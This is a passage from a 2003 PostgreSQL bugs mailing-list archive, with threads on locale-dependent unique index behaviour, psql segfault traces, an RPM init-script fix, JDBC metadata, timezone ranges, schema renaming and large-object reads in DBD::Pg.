0 180 curveto fill 180 rotate}for grestore/Bookman-LightItalic findfont
240 scalefont setfont -151.536392 -63.7998886 moveto (bp)show showpage
---(end of broadcast)---
TIP 5: Have you checked our extensive FAQ?
http://www.postgresql.org/docs/faqs/FAQ.html
Re: [BUGS] UNIQUE INDEX difference between 7.2 and 7.3
Stephan Szabo <[EMAIL PROTECTED]> writes: > Okay, I see it with en_US.UTF-8, but not with C locale, nor with > en_US or en_US.iso885915. It looks like the comparison rules are > different between the locales (and I'm not sure if SQL_ASCII encoding > and a UTF8 locale makes sense in practice). I'd think not --- the byte sequence is most likely not a valid string in UTF8 encoding. I'm not sure what strcoll() would do when comparing illegal byte sequences, but failing to detect that they're different is certainly not too implausible. This brings up once again the question of whether initdb ought to accept the locale it finds in the environment. I had not realized that Red Hat 9 is defaulting to en_US.UTF-8. That is an actively evil choice for us (unless we change the default database encoding to match). IIRC we were about evenly split between changing or not changing initdb's behavior, but if this really is a typical RHL9 setup, I think that has got to affect the decision. Comments? regards, tom lane ---(end of broadcast)--- TIP 3: if posting/reading through Usenet, please send an appropriate subscribe-nomail command to [EMAIL PROTECTED] so that your message can get through to the mailing list cleanly
Re: [BUGS] UNIQUE INDEX difference between 7.2 and 7.3
On Tue, 12 Aug 2003, Tom Lane wrote: > Stephan Szabo <[EMAIL PROTECTED]> writes: > > Okay, I see it with en_US.UTF-8, but not with C locale, nor with > > en_US or en_US.iso885915. It looks like the comparison rules are > > different between the locales (and I'm not sure if SQL_ASCII encoding > > and a UTF8 locale makes sense in practice). > > I'd think not --- the byte sequence is most likely not a valid string in > UTF8 encoding. I'm not sure what strcoll() would do when comparing > illegal byte sequences, but failing to detect that they're different is > certainly not too implausible. That's what I was worried about. > This brings up once again the question of whether initdb ought to accept > the locale it finds in the environment. I had not realized that Red Hat > 9 is defaulting to en_US.UTF-8. That is an actively evil choice for us > (unless we change the default database encoding to match). That's somewhat interesting too, because my server is also RHL9, but it appears to default accounts to en_US.iso885915. I think there might have been a set up option relating to using UTF8 locales. > IIRC we were about evenly split between changing or not changing > initdb's behavior, but if this really is a typical RHL9 setup, I think > that has got to affect the decision. I don't know enough about the issues involved. Can we reasonably tell that a particular locale and encoding don't make sense together (apart from things like looking for UTF-8 in the name for example)? ---(end of broadcast)--- TIP 7: don't forget to increase your free space map settings
Re: [BUGS] pgtcl large object fix
On Wed, 6 Aug 2003 at 18:02, Tom Lane wrote: > Mahlon Stacy <[EMAIL PROTECTED]> writes: > > Newer versions of TCL implement ByteArray objects which are > > the best fit for Postgresql Large Object functions. > > How newer is "newer"? That is, what compatibility problems might we > create if we make this change? ByteArrays were introduced in Tcl 8.1 (March 1999) along with the change to use UTF-8 as internal string encoding. cu Reinhard ---(end of broadcast)--- TIP 9: the planner will ignore your desire to choose an index scan if your joining column's datatypes do not match
Re: [BUGS] "Bug" report - Serious (local shell)
Hi Stephan, > > Only a bad database superuser should be able to do anything of the sort > because normal users shouldn't be allowed to use CREATE FUNCTION with C > language functions (it's untrusted), are you seeing something different? > I am sorry! I really did not perceive that only one administrator could create functions in C. Thanks for all. -- [ Diego Linke - GAMK ] System/Network/Security Administrator E-Mail/Site: [EMAIL PROTECTED] - http://www.gamk.com.br Public Key: http://www.gamk.com.br/gamk.asc Phone Number: (+5541) 9967-3464 ---(end of broadcast)--- TIP 2: you can get off all lists at once with the unregister command (send "unregister YourEmailAddressHere" to [EMAIL PROTECTED])
[BUGS] segmention fault in psql from last cvs (long)
Hello
In this morning I actualized my PostgreSQL source from CVS.
initdb goes without any problems. But createdb puts
SIGSEGV, createuser, psql too.
[EMAIL PROTECTED] root]$ ltrace psql -l
__libc_start_main(0x08050df0, 2, 0xb3a4, 0x08049e98, 0x0805a810
__register_frame_info_bases(0x0806b704, 0x0806bab8, 0, 0x0806b82c, 1) =
0x0804a430
setlocale(6, "") = "cs_CZ"
bindtextdomain("psql", "/usr/local/pgsql/share/locale") =
"/usr/local/pgsql/share/locale"
textdomain("psql")= "psql"
get_progname(0xb4c0, 0x0806d7f8, 0, 0, 0xb330) = 0xb4c0
PQenv2encoding(0xb330, 0x4000a45e, 0, 0, 0x400e1630) = 0
calloc(1, 12) = 0x0806d820
malloc(2) = 0x0806d830
memcpy(0x0806d830, "@", 2)= 0x0806d830
calloc(1, 1) = 0x0806d840
strspn("VERSION", "abcdefghijklmnopqrstuvwxyzABCDEF"...) = 7
strlen(0x0805b85e, 0x080625a0, 0x08062920, 0x08062920, 0xb4c7) = 7
strcmp("@", "VERSION")= -22
calloc(1, 12) = 0x0806d850
__strdup(0x0805b85e, 12, -22, -22, 0xb4c7)= 0x0806d860
__strdup(0x08062920, 12, -22, -22, 0xb4c7)= 0x0806d870
strspn("AUTOCOMMIT", "abcdefghijklmnopqrstuvwxyzABCDEF"...) = 10
strlen(0x0805b2ec, 0x080625a0, 0x0805b66d, 0x0805b66d, 0x0806d820) = 10
strcmp("@", "AUTOCOMMIT") = -1
strcmp("VERSION", "AUTOCOMMIT") = 21
calloc(1, 12) = 0x0806d8c0
__strdup(0x0805b2ec, 12, 21, 21, 0x0806d820) = 0x0806d8d0
__strdup(0x0805b66d, 12, 21, 21, 0x0806d820) = 0x0806d8e0
strspn("VERBOSITY", "abcdefghijklmnopqrstuvwxyzABCDEF"...) = 9
strlen(0x0805a92b, 0x080625a0, 0x0805a9c4, 0x0805a9c4, 0x0806d820) = 9
strcmp("@", "VERBOSITY") = -22
strcmp("VERSION", "VERBOSITY")= 17
strcmp("AUTOCOMMIT", "VERBOSITY") = -21
calloc(1, 12) = 0x0806d8f0
__strdup(0x0805a92b, 12, -21, -21, 0x0806d820)= 0x0806d900
__strdup(0x0805a9c4, 12, -21, -21, 0x0806d820)= 0x0806d910
fileno(0x401fa980)= 0
isatty(0) = 1
fileno(0x401fab00)= 1
isatty(1) = 1
getopt_long(2, 0xb3a4, "aAc:d:eEf:F:h:Hlno:p:P:qR:sStT:u"...,
0x0806b100, 0xb2c8) = 108
getopt_long(2, 0xb3a4, "aAc:d:eEf:F:h:Hlno:p:P:qR:sStT:u"...,
0x0806b100, 0xb2c8) = -1
__strdup(0x08063373, 42592, 1, 0, 0) = 0x0806d920
__strdup(0x08063a23, 42592, 1, 0, 0x0806d920) = 0x0806d930
PQsetdbLogin(0, 0, 0, 0, 0x080627ec
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
strace psql -l
execve("/usr/local/pgsql/bin/psql", ["psql", "-l"], [/* 33 vars */]) = 0
uname({sys="Linux", node="stehule", ...}) = 0
brk(0) = 0x806bd54
open("/etc/ld.so.preload", O_RDONLY)= -1 ENOENT (No such file or
directory)
open("/usr/local/pgsql/lib/i586/libpq.so.3", O_RDONLY) = -1 ENOENT (No
such file or directory)
stat64("/usr/local/pgsql/lib/i586", 0xbfffe590) = -1 ENOENT (No such file
or directory)
...,
open("/etc/passwd", O_RDONLY) = 3
fcntl64(0x3, 0x1, 0, 0x1) = 0
fcntl64(0x3, 0x2, 0x1, 0x1) = 0
fstat64(3, {st_mode=S_IFREG|0644, st_size=7138, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0x40236000
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 4096
close(3)= 0
munmap(0x40236000, 4096)= 0
stat64("/home/postgres/.pgpass", 0xb1f0) = -1 ENOENT (No such file or
directory)
socket(PF_UNIX, SOCK_STREAM, 0) = 3
fcntl64(0x3, 0x4, 0x800, 0x806d940) = 0
connect(3, {sin_family=AF_UNIX, path="/tmp/.s.PGSQL.5432"}, 110) = 0
getsockopt(3, SOL_SOCKET, SO_ERROR, [0], [4]) = 0
getsockname(3, {sin_family=AF_UNIX, [EMAIL PROTECTED], [2]) = 0
poll([{fd=134667064, events=POLLOUT|POLLERR, revents=POLLNVAL}], 1, -1) =
1
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
ltrace createdb testdb
__libc_start_main(0x080492d0, 2, 0xb394, 0x08048e28, 0x0804b000
__register_frame_info_bases(0x0804d0e8, 0x0804d314, 0, 0x0804d210, 1) =
0x08049060
get_progname(0xb4b4, 0x400124c0, 0x400126d0, 39, 0xb300) =
0xb4b4
setlocale(6, "") = "cs_CZ"
bindtextdomain("pgscripts", "/usr/local/pgsql/share/locale") =
"/usr/local/pgsql/share/locale"
textdomain("pgscripts") = "pgscripts"
getopt_long(2, 0xb394, "h:p:U:WeqO:D:T:E:", 0x0804d020, 0xb2fc) =
-1
strlen(0xb4bd, 0x400124c0, 0x400126d0, 39, 0xb300) = 6
strcspn("testdb", "ABCDEFGHIJKLMNOPQRSTUVWXYZ") = 6
strspn("testdb", "abcdefghijklmnopqrstuvwxyz_012
Re: [BUGS] UNIQUE INDEX difference between 7.2 and 7.3
Stephan Szabo <[EMAIL PROTECTED]> writes: > I don't know enough about the issues involved. Can we reasonably tell > that a particular locale and encoding don't make sense together (apart > from things like looking for UTF-8 in the name for example)? There was some discussion about this a week or two ago. Apparently, glibc has a way to ask what character set a given locale expects, but there's no such capability in the C standards, so it's not portable. Since glibc-based systems seem to be the main ones guilty of defaulting to non-C locales, perhaps it would be Good Enough (TM) to make the check on glibc, and assume that the user knows what he's doing elsewhere. Needs thought though. regards, tom lane ---(end of broadcast)--- TIP 6: Have you searched our list archives? http://archives.postgresql.org
[BUGS] SysV startup script name in binary RPM distribution
I'm not a subscriber to the list. Please copy any responses directly to me.
Thanks.
It's such a minor, but annoying bug, and is easily fixed:
The stock startup script included in the RPM (I currently use the 7.3.3 RPM
for RH7.3), /etc/rc.d/init.d/postgresql, sets the service name (the $NAME
variable within the script) to the basename by which it was called, with
this line:
NAME=`basename $0`
This seems like a logical thing to do, but it causes a problem because the
system calls the script by its various softlinks (such as
"/etc/rc.d/rc3.d/S85postgresql" or "/etc/rc.d/rc1.d/K15postgresql").
The best example of the effect is that during a normal boot into run level
3, the service name gets set to "S85postgresql" instead of the obviously
correct "postgresql." This is reflected both on the console ("Starting
S85postgresql...[Ok]"), and in the /var/lock/subsys/S85postgresql lock file,
for example. Later when doing a "service postgresql restart" or something
similar, the script is supposed to delete that lock file but fails to,
because it *now* thinks its name is just "postgresql." That ridiculous
/var/lock/subsys/S85postgresql file just hangs around perpetually (like a
thorn in my side).
A trivial fix would be either to change the assignment to
NAME=`basename $0 | /bin/sed -e 's/^[SK][0-9][0-9]//'`
and add the sed requirement to the postgresql-server package, or use two
lines, such as
NAME=`basename $0`
NAME=${NAME#[SK][0-9][0-9]}
which I know works with bash, but I'm not sure if it will work with an
old-style Bourne shell. Incidentally, is there any strong reason it doesn't
just standardize and become the following?
NAME=postgresql
Thanks. Please save me the 10 seconds it takes to reimplement this fix every
time I upgrade. :)
Mike Nerone
/* The only secure computer is one that is unplugged from the network -- and
the wall. */
---(end of broadcast)---
TIP 4: Don't 'kill -9' the postmaster
[BUGS] JDBC Metadata bug
POSTGRESQL BUG REPORT TEMPLATE Your name : Christopher Marshall Your email address : [EMAIL PROTECTED] System Configuration - Architecture (example: Intel Pentium) : Intel Celeron Operating System (example: Linux 2.0.26 ELF) : Server on Linux 2.4.20-6 (Red Hat) Client on Windows 2000 Server with SP4 PostgreSQL version (example: PostgreSQL-7.3.4): PostgreSQL-7.3.4 Compiler used (example: gcc 2.95.2) : gcc 3.2.2 Please enter a FULL description of your problem: With foreign keys that are made up of multiple columns the JDBC DatabaseMetaData method getExportedKeys() returns a ResultSet wth single row per foreign key irrespective of the number of columns. The fields FKCOLUMN_NAME and PKCOLUMN_NAME contain a comma separated list of the column names in the foriegn key. The javadoc from Sun leads one to believe that there should be one row in the ResultSet per column so a foreign key with three columns should cause three rows in the ResultSet. Both Oracle 8.1.7 and MS SQL Server 2000 behave this way and generate one row per column in the foreign key. Please describe a way to repeat the problem. Please try to provide a concise reproducible example, if at all possible: -- Create a table with a primary key with two or more columns. Create another table with the same columns and atleast one more in its primary key. Create a foreign key from the second table to the first based on the columns in the first table. The java using JDBC should include a getExportedKeys() using the name of the first table. If you know how this problem might be fixed, list the solution below: - ---(end of broadcast)--- TIP 1: subscribe and unsubscribe commands go to [EMAIL PROTECTED]
Re: [BUGS] 7.4 beta 1: SET log_statement=false
Bertrand Petit <[EMAIL PROTECTED]> writes: > Non superusers can set log_statement to true but can't set it > back to false even if log_statement was false at the begining of a > connection. Yeah. I think that the restrictions for USERLIMIT variables ought to compare against the reset_val, not the session_val. regards, tom lane ---(end of broadcast)--- TIP 9: the planner will ignore your desire to choose an index scan if your joining column's datatypes do not match
[BUGS] Slow Query
When I ran a query using postgres 7.3.2 it took over 2 hours to run. I upgraded to version 7.3.4 and the same query takes 5 minutes. This was with absolutely no changes to indexes or any of the queries. I used the default install, and didn't tweak any settings in postgresql.conf Kernel version: Solaris 5.9 Generic 112233-06 March 2003 kernel architecture: sun4u Application architecture: sparc Memory: 256Mb compiler: gcc version 3.1 regards, Ross George. ---(end of broadcast)--- TIP 7: don't forget to increase your free space map settings
Re: [BUGS] UNIQUE INDEX difference between 7.2 and 7.3
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - --On Tuesday, August 12, 2003 08:18:53 AM -0700 Stephan Szabo <[EMAIL PROTECTED] .bigpanda.com> wrote: On Tue, 12 Aug 2003, Kevin Houle wrote: System Configuration - -- Architecture : i686 Operating System : RH9, 2.4.20-19 PostgreSQL version : PostgreSQL-7.3.4 (RPMS from PGDG) Please enter a FULL description of your problem: - - There is an email attachment (md5: 5cc780da645df9516235d43d1cf1e8b5) which contains a file with two SQL INSERT commands to insert two rows into a test table. The table should look like this: CREATE TABLE tbl_test ( testcol text, unique (testcol) ); The databases in my testing are using SQL_ASCII encoding. I don't receive an error on my 7.3.4 system, what locale is the database initialized in? I'm using defaults, so on RH9 it is: /var/lib/pgsql/initdb.i18n: LANG="en_US.UTF-8" and on RH7.3 it is: /var/lib/pgsql/initdb.i18n: LANG="en_US" Kevin -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE/OQeiu/NTC+XTbEkRAqyCAJ9dWKLKDy7ikbFFNwc6bzt7rEqj+wCfevAe LOaw4FFNrbr6wdtl0Zls+cU= =X2Z2 -END PGP SIGNATURE- ---(end of broadcast)--- TIP 8: explain analyze is your friend
Re: [BUGS] UNIQUE INDEX difference between 7.2 and 7.3
On Tue, 12 Aug 2003, Kevin Houle wrote: > >> There is an email attachment (md5: 5cc780da645df9516235d43d1cf1e8b5) > >> which contains a file with two SQL INSERT commands to insert two rows > >> into a test table. The table should look like this: > >> > >> CREATE TABLE tbl_test ( > >> testcol text, > >> unique (testcol) > >> ); > >> > >> The databases in my testing are using SQL_ASCII encoding. > > > > I don't receive an error on my 7.3.4 system, what locale is the database > > initialized in? > > I'm using defaults, so on RH9 it is: > > /var/lib/pgsql/initdb.i18n: >LANG="en_US.UTF-8" Okay, I see it with en_US.UTF-8, but not with C locale, nor with en_US or en_US.iso885915. It looks like the comparison rules are different between the locales (and I'm not sure if SQL_ASCII encoding and a UTF8 locale makes sense in practice). ---(end of broadcast)--- TIP 9: the planner will ignore your desire to choose an index scan if your joining column's datatypes do not match
Re: [BUGS] Correct Unicode sorting depends on how initdb was run
Peter Eisentraut <[EMAIL PROTECTED]> writes: > Nils Philippsen writes: >> Hmm. I ask myself whether this is desired behaviour, too. > No, but it will take a lot of work to fix this, such as implementing our > own locale library. We should, however, look into using C99-spec routines where available --- the existing logic that depends on stuff cannot work with multibyte encodings. I am not sure if this has any user-visible effects beyond upper()/lower(). regards, tom lane ---(end of broadcast)--- TIP 5: Have you checked our extensive FAQ? http://www.postgresql.org/docs/faqs/FAQ.html
[BUGS] followup on the timezone issue
Oh, and the error message listed in SQL92 for out of range timezone is: data exception-invalid time zone displacement value ---(end of broadcast)--- TIP 9: the planner will ignore your desire to choose an index scan if your joining column's datatypes do not match
[BUGS] ALTER SCHEMA problem
If PostgreSQL failed to compile on your computer or you found a bug that
is likely to be specific to one platform then please fill out this form
and e-mail it to [EMAIL PROTECTED]
To report any other bug, fill out the form below and e-mail it to
[EMAIL PROTECTED]
If you not only found the problem but solved it and generated a patch
then e-mail it to [EMAIL PROTECTED] instead. Please use the
command "diff -c" to generate the patch.
You may also enter a bug report at http://www.postgresql.org/ instead of
e-mail-ing this form.
=
===POSTGRESQL BUG REPORT TEMPLATE
=
===
Your name : Andreas Hinz
Your email address : [EMAIL PROTECTED]
System Configuration
-
Architecture (example: Intel Pentium) : Intel Pentium
Operating System (example: Linux 2.0.26 ELF) : Linux 2.4.21 ELF
PostgreSQL version (example: PostgreSQL-7.3): PostgreSQL-7.4beta1
Compiler used (example: gcc 2.95.2) : gcc 3.2.3
Please enter a FULL description of your problem:
Hi,
I am not absolutly sure this is a bug, but consider this:
I am about to create a database with 5 schemas each containing about 70
tables. Importing data via "psql -f .
After import I rename the schema "public" to eg. "base1", create a
new schema "public", import the next database etc.
Now the problem is I yse the datatype "serial" which creates then
constraint "default nextval('public.abc_sew'::test)".
When renaming the schema from "public" to "base1" all indexes and
seqenses are renames correct, but not the above "public." in the
constraint.
Please describe a way to repeat the problem. Please try to provide a
concise reproducible example, if at all possible:
--
createdb test
psql test
CREATE TABLE ta1 (f1 serial, f2 integer);
ALTER SCHEMA public RENAME TO base1;
\d base1.*
If you know how this problem might be fixed, list the solution below:
-
Only by manual "ALTER TABLE ta1 ALTER f1 SET DEFAULT etc.
But doing this for 5 schemas each having 70 tables is somewhat stupud.
Even via a seperate file with all the "ALTER" is no solution as this is
an unfineshed project with frequent changes on the tables and thus
possible changes in this file.
A posibility to select a default schema with eg. "SET" on import would be
a really nice feature:
SET DEFAULT SCHEMA base1;
CREATE TABLE
COPY FROM stdin
etc.
--
Med venlig hilsen / Best regards / Mit freundlichen Grüssen
Andreas Hinz
---(end of broadcast)---
TIP 6: Have you searched our list archives?
http://archives.postgresql.org
[BUGS] DBD::Pg 'lo_read' fails on >= 32768 byte large objects
Hello, There appears to be a bug in the code used by DBD::Pg's 'lo_read' function. I presume the code with the bug is a part of libpq, and thus the postgresql-libs RPM binary distribution. The nature of the bug is that an 'lo_read' operation performed with DBD::Pg caused a segfault with postgresql-libs-7.3.2 and "hangs" on files >= 32768 bytes with postgresql-libs-7.3.4. The hang is actually a read() loop on the socket generating EAGAIN error on each read(). I've attached a short perl script that demonstrates the bug. The database server does not seem to matter; I get the same results using 7.2 as I do with 7.3.x servers. I also get the same results when I vary the perl-DBD-Pg and perl-DBI module versions. The bug seems to be following libpg. All of my testing has been on the i686 platform using linux 2.4.20 kernels. Test case #1: - client = postgresql-libs-7.2.3-5 (redhat-7.3) perl-DBI-1.21-1 (redhat-7.3) perl-DBD-Pg-1.01-8 (redhat-7.3) perl-5.6.1 - server = postgresql-server-7.3.2-3 (redhat-9) - transport = tcpip + ssl $ perl test.pl - reading testfile '/bin/ls' - inserting testfile contents - oid = '16265435' - reading large object success.. removing large object Test case #2: - client = postgresql-libs-7.3.2-3 (redhat-9) perl-DBI-1.32-5 (redhat-9) perl-DBD-Pg-1.21-2 (redhat-9) -server = postgresql-server-7.3.2-3 (redhat-9) -transport = tcpip + ssl $ perl test.pl - reading testfile '/bin/ls' - inserting testfile contents - oid = '16265436' - reading large object Segmentation fault ... after ~32768 bytes, process loops reading the socket read(3, 0x81cc938, 5) = -1 EAGAIN (Resource temporarily unavailable) and eventually segfaults Test case #3: - same as #2 except - transport = tcpip (localhost) $ perl test.pl - reading testfile '/bin/ls' - inserting testfile contents - oid = '16265436' - reading large object Segmentation fault Test case #4: - same as #2 and #3 except - postgresql-libs-7.3.4 PGDG used $ perl test.pl - reading testfile '/bin/ls' - inserting testfile contents - oid = '16265437' - reading large object ... after ~32768 bytes, process loops reading the socket read(3, 0x81cc938, 5) = -1 EAGAIN (Resource temporarily unavailable) but doesn't appear to segfault (unless I am not patient enough) This problem is a bastard as it makes getting data out of an otherwise perfectly good database rather difficult. In other words, its a show-stopper when migrating from 7.2 -> 7.3. Regards, Kevin test.pl Description: Binary data ---(end of broadcast)--- TIP 2: you can get off all lists at once with the unregister command (send "unregister YourEmailAddressHere" to [EMAIL PROTECTED])
[BUGS] vacuum is not sufficient?
Hello list! I'm using postgresql 7.3.2r1-6.woody from http://people.debian.org/~elphick/debian in some production enviroment. I had in the past with the stable release of postgres in debian woody a problem about "enlarging tables". In particular session tables with a lot of traffic became from some Megs to a couple of gigs... After upgrade to newer version that problem now is returned after about 1-2 month of working... this is the "tipical" vacuum output that I have in those tables... INFO: --Relation public.active_sessions_split-- INFO: Index active_sessions_split_pkey: Pages 91838; Tuples 5381: Deleted 31. CPU 4.26s/0.47u sec elapsed 135.47 sec. INFO: Index k_asp_changed: Pages 46192; Tuples 5381: Deleted 31. CPU 2.32s/0.25u sec elapsed 34.94 sec. INFO: Removed 31 tuples in 6 pages. CPU 0.00s/0.00u sec elapsed 0.01 sec. INFO: Pages 78376: Changed 4, Empty 0; Tup 5381: Vac 31, Keep 0, UnUsed 615471. Total CPU 9.93s/1.13u sec elapsed 186.68 sec. -rw---1 postgres postgres 724M Aug 8 18:47 309922 (the table file) and with vacuum , vacuum full nothing change... and the same problem in other db with high load average tables... it's a bug or what? some ideas? Thanks in advance! Matteo ---(end of broadcast)--- TIP 4: Don't 'kill -9' the postmaster
[BUGS] two minor issues with date time types
Just two minor issues with timestamps:
Error message is currently:
create table test (ts timestamp);
-- insert an illegal date:
insert into test values ('20021131');
invalid input syntax for timestamp: "20021131"
SQL92 and 99 say it should be:
data exception-datetime field overflow
No big deal, and it doesn't matter to me if it gets changed or not really,
just FYI.
The other issue is that the ranges allowed by SQL spec for timezone are
-12:59 to +1300
but postgresql currently allows numbers outside that range.
create table test (tm time);
insert into test values ('12:00 +1359');
INSERT 17172 1
insert into test values ('12:00 +1360');
ERROR: invalid input syntax for time: "12:00 +1360"
insert into test values ('12:00 -1359');
INSERT 17175 1
insert into test values ('12:00 -1400');
ERROR: invalid input syntax for time: "12:00 -1400"
Is there a reason to allow +/-1359 (i.e. the international standards
changed after the SQL spec was written?) when the spec is pretty clear
it's -1259 to +1300?
---(end of broadcast)---
TIP 5: Have you checked our extensive FAQ?
http://www.postgresql.org/docs/faqs/FAQ.html
Re: [BUGS] upcoming 7.4 relaese: absent recode() function ?
Ruslan A Dautkhanov <[EMAIL PROTECTED]> writes: > Is this mean, that PostgresSQL will not have recode() futher ? That's right. Use the more general character-set-conversion functionality, instead. regards, tom lane ---(end of broadcast)--- TIP 8: explain analyze is your friend
Re: [BUGS] vacuum is not sufficient?
Matteo <[EMAIL PROTECTED]> writes: > INFO: --Relation public.active_sessions_split-- > INFO: Index active_sessions_split_pkey: Pages 91838; Tuples 5381: Deleted 31. > CPU 4.26s/0.47u sec elapsed 135.47 sec. > INFO: Index k_asp_changed: Pages 46192; Tuples 5381: Deleted 31. > CPU 2.32s/0.25u sec elapsed 34.94 sec. > INFO: Removed 31 tuples in 6 pages. > CPU 0.00s/0.00u sec elapsed 0.01 sec. > INFO: Pages 78376: Changed 4, Empty 0; Tup 5381: Vac 31, Keep 0, UnUsed 615471. > > Total CPU 9.93s/1.13u sec elapsed 186.68 sec. I'd try a dump/reload or CLUSTER to get the table back down to a reasonable size. In future, try vacuuming it more often. regards, tom lane ---(end of broadcast)--- TIP 7: don't forget to increase your free space map settings
Re: [BUGS] UNION discards indentical rows in postgres 7.3.3
Hi Stephan, Thanks a lot for the answer. On Thu, 7 Aug 2003 15:10:00 -0700 (PDT), you wrote: >> instead of the required one. > >That is the required resultset. Union is required to do return only >one copy of a row when there are duplicates of a row. Union all returns >a number of copies equal to the number of duplicates. Right ! i forgot that :-) (blushing). Sorry. Thank you again, Silvio Scarpati ---(end of broadcast)--- TIP 1: subscribe and unsubscribe commands go to [EMAIL PROTECTED]
Re: [BUGS] two minor issues with date time types
On Thu, 14 Aug 2003, scott.marlowe wrote:
> Just two minor issues with timestamps:
>
> Error message is currently:
>
> create table test (ts timestamp);
> -- insert an illegal date:
> insert into test values ('20021131');
> invalid input syntax for timestamp: "20021131"
>
> SQL92 and 99 say it should be:
>
> data exception-datetime field overflow
>
> No big deal, and it doesn't matter to me if it gets changed or not really,
> just FYI.
I don't think that's intended to be the textual error message.
I believe that's supposed to indicate which SQLSTATE is generated.
---(end of broadcast)---
TIP 6: Have you searched our list archives?
http://archives.postgresql.org
Re: [BUGS] UNION discards indentical rows in postgres 7.3.3
> Wrong ! The query should return 4 rows. In other words i don't know > why postgres performs the following query: I think the syntax you're looking for is UNION ALL. select a,b from t1 union all (select distinct a,b from t2); signature.asc Description: This is a digitally signed message part
Re: [BUGS] ALTER TABLE table RENAME COLUMN x TO y
"Donald Fraser" <[EMAIL PROTECTED]> writes: > When issuing the following type of command: > ALTER TABLE table RENAME COLUMN x TO y > The column name change is not cascading through to RULEs on a VIEW. More specifically, INSERTs and UPDATEs contained in rules don't have their target column names adjusted. This is because the "resname" fields in their targetlists contain the original column names, and those fields are actually looked at to determine the target columns. I think this behavior is vestigial, and we could both simplify the code and make it RENAME-proof by using just the "resno" fields to determine the target columns. "resname" would then have just one purpose: to carry the "AS" alias of targetlist entries in SELECTs. There is already code in ruleutils.c to allow "resname" to be overridden by the current column name of a view (thus handling RENAME applied to the view itself), and I don't think "resname" is user-visible in any other way. Anyone see a problem with this plan? I regard this as something we should fix for 7.4, mainly because if you use --enable-cassert then the backend actually dumps core when trying to execute the outdated rule (there are Asserts in there that notice the resname mismatch). regards, tom lane ---(end of broadcast)--- TIP 2: you can get off all lists at once with the unregister command (send "unregister YourEmailAddressHere" to [EMAIL PROTECTED])
